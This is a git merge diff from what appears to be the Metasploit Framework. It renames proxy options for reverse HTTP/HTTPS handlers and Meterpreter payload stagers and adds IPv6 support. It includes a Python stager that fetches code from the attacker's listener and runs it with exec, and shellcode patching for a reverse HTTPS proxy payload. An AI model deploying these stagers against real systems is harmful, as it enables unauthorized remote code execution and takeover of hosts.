Merge branch 'master' into feature/add-proxies-to-wininet
commit
b62da42927
|
@ -256,11 +256,11 @@ module ReverseHopHttp
|
|||
:expiration => datastore['SessionExpirationTimeout'],
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'],
|
||||
:ua => datastore['MeterpreterUserAgent'],
|
||||
:proxyhost => datastore['PROXYHOST'],
|
||||
:proxyport => datastore['PROXYPORT'],
|
||||
:proxy_type => datastore['PROXY_TYPE'],
|
||||
:proxy_username => datastore['PROXY_USERNAME'],
|
||||
:proxy_password => datastore['PROXY_PASSWORD']
|
||||
:proxy_host => datastore['PayloadProxyHost'],
|
||||
:proxy_port => datastore['PayloadProxyPort'],
|
||||
:proxy_type => datastore['PayloadProxyType'],
|
||||
:proxy_user => datastore['PayloadProxyUser'],
|
||||
:proxy_pass => datastore['PayloadProxyPass']
|
||||
|
||||
blob = encode_stage(blob)
|
||||
|
||||
|
|
|
@ -58,18 +58,12 @@ module ReverseHttp
|
|||
], Msf::Handler::ReverseHttp)
|
||||
end
|
||||
|
||||
# Toggle for IPv4 vs IPv6 mode
|
||||
#
|
||||
def ipv6?
|
||||
Rex::Socket.is_ipv6?(datastore['LHOST'])
|
||||
end
|
||||
|
||||
# Determine where to bind the server
|
||||
#
|
||||
# @return [String]
|
||||
def listener_address
|
||||
if datastore['ReverseListenerBindAddress'].to_s.empty?
|
||||
bindaddr = (ipv6?) ? '::' : '0.0.0.0'
|
||||
if datastore['ReverseListenerBindAddress'].to_s == ""
|
||||
bindaddr = Rex::Socket.is_ipv6?(datastore['LHOST']) ? '::' : '0.0.0.0'
|
||||
else
|
||||
bindaddr = datastore['ReverseListenerBindAddress']
|
||||
end
|
||||
|
@ -77,14 +71,12 @@ module ReverseHttp
|
|||
bindaddr
|
||||
end
|
||||
|
||||
# Return a URI suitable for placing in a payload
|
||||
#
|
||||
# @return [String] A URI of the form +scheme://host:port/+
|
||||
def listener_uri
|
||||
if ipv6?
|
||||
listen_host = "[#{listener_address}]"
|
||||
else
|
||||
listen_host = listener_address
|
||||
end
|
||||
"#{scheme}://#{listen_host}:#{datastore['LPORT']}/"
|
||||
uri_host = Rex::Socket.is_ipv6?(listener_address) ? "[#{listener_address}]" : listener_address
|
||||
"#{scheme}://#{uri_host}:#{datastore['LPORT']}/"
|
||||
end
|
||||
|
||||
# Return a URI suitable for placing in a payload.
|
||||
|
@ -158,6 +150,7 @@ module ReverseHttp
|
|||
'VirtualDirectory' => true)
|
||||
|
||||
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}")
|
||||
lookup_proxy_settings
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -175,6 +168,45 @@ module ReverseHttp
|
|||
|
||||
protected
|
||||
|
||||
#
|
||||
# Parses the proxy settings and returns a hash
|
||||
#
|
||||
def lookup_proxy_settings
|
||||
info = {}
|
||||
return @proxy_settings if @proxy_settings
|
||||
|
||||
if datastore['PayloadProxyHost'].to_s == ""
|
||||
@proxy_settings = info
|
||||
return @proxy_settings
|
||||
end
|
||||
|
||||
info[:host] = datastore['PayloadProxyHost'].to_s
|
||||
info[:port] = (datastore['PayloadProxyPort'] || 8080).to_i
|
||||
info[:type] = datastore['PayloadProxyType'].to_s
|
||||
|
||||
uri_host = info[:host]
|
||||
|
||||
if Rex::Socket.is_ipv6?(uri_host)
|
||||
uri_host = "[#{info[:host]}]"
|
||||
end
|
||||
|
||||
info[:info] = "#{uri_host}:#{info[:port]}"
|
||||
|
||||
if info[:type] == "SOCKS"
|
||||
info[:info] = "socks=#{info[:info]}"
|
||||
else
|
||||
info[:info] = "http://#{info[:info]}"
|
||||
if datastore['PayloadProxyUser'].to_s != ""
|
||||
info[:username] = datastore['PayloadProxyUser'].to_s
|
||||
end
|
||||
if datastore['PayloadProxyPass'].to_s != ""
|
||||
info[:password] = datastore['PayloadProxyPass'].to_s
|
||||
end
|
||||
end
|
||||
|
||||
@proxy_settings = info
|
||||
end
|
||||
|
||||
#
|
||||
# Parses the HTTPS request
|
||||
#
|
||||
|
@ -204,7 +236,7 @@ protected
|
|||
blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
|
||||
blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'")
|
||||
|
||||
unless datastore['PROXYHOST'].blank? && datastore['PayloadProxyHost'].blank?
|
||||
unless datastore['PayloadProxyHost'].blank?
|
||||
proxy_url = "http://#{datastore['PayloadProxyHost']||datastore['PROXYHOST']}:#{datastore['PayloadProxyPort']||datastore['PROXYPORT']}"
|
||||
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
|
||||
end
|
||||
|
@ -268,11 +300,11 @@ protected
|
|||
:expiration => datastore['SessionExpirationTimeout'],
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'],
|
||||
:ua => datastore['MeterpreterUserAgent'],
|
||||
:proxyhost => datastore['PayloadProxyHost'] || datastore['PROXYHOST'],
|
||||
:proxyport => datastore['PayloadProxyPort'] || datastore['PROXYPORT'],
|
||||
:proxy_type => datastore['PayloadProxyType'] || datastore['PROXY_TYPE'],
|
||||
:proxy_username => datastore['PayloadProxyUser'] || datastore['PROXY_USERNAME'],
|
||||
:proxy_password => datastore['PayloadProxyPass'] || datastore['PROXY_PASSWORD']
|
||||
:proxy_host => datastore['PayloadProxyHost'],
|
||||
:proxy_port => datastore['PayloadProxyPort'],
|
||||
:proxy_type => datastore['PayloadProxyType'],
|
||||
:proxy_user => datastore['PayloadProxyUser'],
|
||||
:proxy_pass => datastore['PayloadProxyPass']
|
||||
|
||||
resp.body = encode_stage(blob)
|
||||
|
||||
|
|
|
@ -40,11 +40,11 @@ module ReverseHttpsProxy
|
|||
[
|
||||
OptString.new('LHOST', [ true, "The local listener hostname" ,"127.0.0.1"]),
|
||||
OptPort.new('LPORT', [ true, "The local listener port", 8443 ]),
|
||||
OptString.new('PROXYHOST', [true, "The address of the http proxy to use" ,"127.0.0.1"]),
|
||||
OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ]),
|
||||
OptEnum.new('PROXY_TYPE', [true, 'Http or Socks4 proxy type', 'HTTP', ['HTTP', 'SOCKS']]),
|
||||
OptString.new('PROXY_USERNAME', [ false, "An optional username for HTTP proxy authentification"]),
|
||||
OptString.new('PROXY_PASSWORD', [ false, "An optional password for HTTP proxy authentification"])
|
||||
OptString.new('PayloadProxyHost', [true, "The proxy server's IP address", "127.0.0.1"]),
|
||||
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]),
|
||||
OptEnum.new('PayloadProxyType', [true, 'The proxy type, HTTP or SOCKS', 'HTTP', ['HTTP', 'SOCKS']]),
|
||||
OptString.new('PayloadProxyUser', [ false, "An optional username for HTTP proxy authentication"]),
|
||||
OptString.new('PayloadProxyPass', [ false, "An optional password for HTTP proxy authentication"])
|
||||
], Msf::Handler::ReverseHttpsProxy)
|
||||
|
||||
register_advanced_options(
|
||||
|
|
|
@ -118,13 +118,13 @@ module Rex
|
|||
patch_comm_timeout! blob, options[:comm_timeout]
|
||||
patch_ua! blob, options[:ua]
|
||||
patch_proxy!(blob,
|
||||
options[:proxyhost],
|
||||
options[:proxyport],
|
||||
options[:proxy_host],
|
||||
options[:proxy_port],
|
||||
options[:proxy_type]
|
||||
)
|
||||
patch_proxy_auth!(blob,
|
||||
options[:proxy_username],
|
||||
options[:proxy_password],
|
||||
options[:proxy_user],
|
||||
options[:proxy_pass],
|
||||
options[:proxy_type]
|
||||
)
|
||||
|
||||
|
|
|
@ -411,11 +411,11 @@ class ClientCore < Extension
|
|||
:expiration => self.client.expiration,
|
||||
:comm_timeout => self.client.comm_timeout,
|
||||
:ua => client.exploit_datastore['MeterpreterUserAgent'],
|
||||
:proxyhost => client.exploit_datastore['PayloadProxyHost'] || client.exploit_datastore['PROXYHOST'],
|
||||
:proxyport => client.exploit_datastore['PayloadProxyPort'] || client.exploit_datastore['PROXYPORT'],
|
||||
:proxy_type => client.exploit_datastore['PayloadProxyType'] || client.exploit_datastore['PROXY_TYPE'],
|
||||
:proxy_username => client.exploit_datastore['PayloadProxyUser'] || client.exploit_datastore['PROXY_USERNAME'],
|
||||
:proxy_password => client.exploit_datastore['PayloadProxyPass'] || client.exploit_datastore['PROXY_PASSWORD']
|
||||
:proxy_host => client.exploit_datastore['PayloadProxyHost'],
|
||||
:proxy_port => client.exploit_datastore['PayloadProxyPort'],
|
||||
:proxy_type => client.exploit_datastore['PayloadProxyType'],
|
||||
:proxy_user => client.exploit_datastore['PayloadProxyUser'],
|
||||
:proxy_pass => client.exploit_datastore['PayloadProxyPass']
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -26,9 +26,9 @@ module Metasploit3
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('PROXYHOST', [ false, "The address of an http proxy to use", "" ]),
|
||||
OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ])
|
||||
], Msf::Handler::ReverseHttp)
|
||||
OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]),
|
||||
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -41,21 +41,32 @@ module Metasploit3
|
|||
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
|
||||
}
|
||||
|
||||
target_url = 'http://'
|
||||
target_url << lhost
|
||||
if Rex::Socket.is_ipv6?(lhost)
|
||||
target_url = "http://[#{lhost}]"
|
||||
else
|
||||
target_url = "http://#{lhost}"
|
||||
end
|
||||
|
||||
target_url << ':'
|
||||
target_url << datastore['LPORT'].to_s
|
||||
target_url << '/'
|
||||
target_url << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP)
|
||||
|
||||
proxy_host = datastore['PayloadProxyHost'].to_s
|
||||
proxy_port = datastore['PayloadProxyPort'].to_i
|
||||
|
||||
cmd = "import sys\n"
|
||||
if datastore['PROXYHOST'].blank?
|
||||
if proxy_host == ''
|
||||
cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n"
|
||||
else
|
||||
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
|
||||
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
|
||||
"http://[#{proxy_host}]:#{proxy_port}" :
|
||||
"http://#{proxy_host}:#{proxy_port}"
|
||||
|
||||
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n"
|
||||
cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n"
|
||||
end
|
||||
|
||||
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
|
||||
cmd << "exec(o.open('#{target_url}').read())\n"
|
||||
|
||||
|
|
|
@ -82,70 +82,74 @@ module Metasploit3
|
|||
p[i, u.length] = u
|
||||
|
||||
# patch proxy info
|
||||
proxyhost = datastore['PROXYHOST'].to_s
|
||||
proxyport = datastore['PROXYPORT'].to_s || "8080"
|
||||
proxyhost = datastore['PayloadProxyHost'].to_s
|
||||
proxyport = datastore['PayloadProxyPort'].to_s || "8080"
|
||||
|
||||
if Rex::Socket.is_ipv6?(proxyhost)
|
||||
proxyhost = "[#{proxyhost}]"
|
||||
end
|
||||
|
||||
proxyinfo = proxyhost + ":" + proxyport
|
||||
if proxyport == "80"
|
||||
proxyinfo = proxyhost
|
||||
end
|
||||
if datastore['PROXY_TYPE'].to_s == 'HTTP'
|
||||
if datastore['PayloadProxyType'].to_s == 'HTTP'
|
||||
proxyinfo = 'http://' + proxyinfo
|
||||
else #socks
|
||||
proxyinfo = 'socks=' + proxyinfo
|
||||
end
|
||||
|
||||
proxyloc = p.index("PROXYHOST:PORT")
|
||||
p = p.gsub("PROXYHOST:PORT",proxyinfo)
|
||||
|
||||
# patch the call
|
||||
calloffset = proxyinfo.length
|
||||
calloffset += 1
|
||||
# Patch the call
|
||||
calloffset = proxyinfo.length + 1
|
||||
p[proxyloc-4] = [calloffset].pack('V')[0]
|
||||
|
||||
#Optional authentification
|
||||
if (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
|
||||
(datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or
|
||||
datastore['PROXY_TYPE'] == 'SOCKS'
|
||||
# Authentication credentials have not been specified
|
||||
if datastore['PayloadProxyUser'].to_s == '' or
|
||||
datastore['PayloadProxyPass'].to_s == '' or
|
||||
datastore['PayloadProxyType'].to_s == 'SOCKS'
|
||||
|
||||
jmp_offset = p.index("PROXY_AUTH_STOP") + 15 - p.index("PROXY_AUTH_START")
|
||||
#remove auth code
|
||||
|
||||
# Remove the authentication code
|
||||
p = p.gsub(/PROXY_AUTH_START(.)*PROXY_AUTH_STOP/i, "")
|
||||
else
|
||||
username_size_diff = 14 - datastore['PROXY_USERNAME'].length
|
||||
password_size_diff = 14 - datastore['PROXY_PASSWORD'].length
|
||||
jmp_offset = 16 + #PROXY_AUTH_START length
|
||||
15 + #PROXY_AUTH_STOP length
|
||||
username_size_diff + # difference between datastore PROXY_USERNAME length and db "PROXY_USERNAME length"
|
||||
password_size_diff # same with PROXY_PASSWORD
|
||||
#patch call offset
|
||||
username_size_diff = 14 - datastore['PayloadProxyUser'].to_s.length
|
||||
password_size_diff = 14 - datastore['PayloadProxyPass'].to_s.length
|
||||
jmp_offset =
|
||||
16 + # PROXY_AUTH_START length
|
||||
15 + # PROXY_AUTH_STOP length
|
||||
username_size_diff + # Difference between datastore PayloadProxyUser length and db "PayloadProxyUser length"
|
||||
password_size_diff # Same with PayloadProxyPass
|
||||
|
||||
# Patch call offset
|
||||
username_loc = p.index("PROXY_USERNAME")
|
||||
p[username_loc - 4, 4] = [15 - username_size_diff].pack("V")
|
||||
password_loc = p.index("PROXY_PASSWORD")
|
||||
p[password_loc - 4, 4] = [15 - password_size_diff].pack("V")
|
||||
#remove markers & change login/pwd
|
||||
|
||||
# Remove markers & change login/password
|
||||
p = p.gsub("PROXY_AUTH_START","")
|
||||
p = p.gsub("PROXY_AUTH_STOP","")
|
||||
p = p.gsub("PROXY_USERNAME", datastore['PROXY_USERNAME'])
|
||||
p = p.gsub("PROXY_PASSWORD", datastore['PROXY_PASSWORD'])
|
||||
p = p.gsub("PROXY_USERNAME", datastore['PayloadProxyUser'].to_s)
|
||||
p = p.gsub("PROXY_PASSWORD", datastore['PayloadProxyPass'].to_s)
|
||||
end
|
||||
#patch jmp dbl_get_server_host
|
||||
|
||||
# Patch jmp dbl_get_server_host
|
||||
jmphost_loc = p.index("\x68\x3a\x56\x79\xa7\xff\xd5") + 8 # push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) ; call ebp
|
||||
p[jmphost_loc, 4] = [p[jmphost_loc, 4].unpack("V")[0] - jmp_offset].pack("V")
|
||||
#patch call Internetopen
|
||||
|
||||
# Patch call Internetopen
|
||||
p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("V")[0] + jmp_offset].pack("V")
|
||||
|
||||
# patch the LPORT
|
||||
lport = datastore['LPORT']
|
||||
|
||||
# Patch the LPORT
|
||||
lportloc = p.index("\x68\x5c\x11\x00\x00") # PUSH DWORD 4444
|
||||
p[lportloc+1] = [lport.to_i].pack('V')[0]
|
||||
p[lportloc+2] = [lport.to_i].pack('V')[1]
|
||||
p[lportloc+3] = [lport.to_i].pack('V')[2]
|
||||
p[lportloc+4] = [lport.to_i].pack('V')[3]
|
||||
p[lportloc+1,4] = [datastore['LPORT'].to_i].pack('V')
|
||||
|
||||
# append LHOST and return payload
|
||||
|
||||
lhost = datastore['LHOST']
|
||||
p + lhost.to_s + "\x00"
|
||||
# Append LHOST and return payload
|
||||
p + datastore['LHOST'].to_s + "\x00"
|
||||
|
||||
end
|
||||
|
||||
|
|
Loading…
Reference in New Issue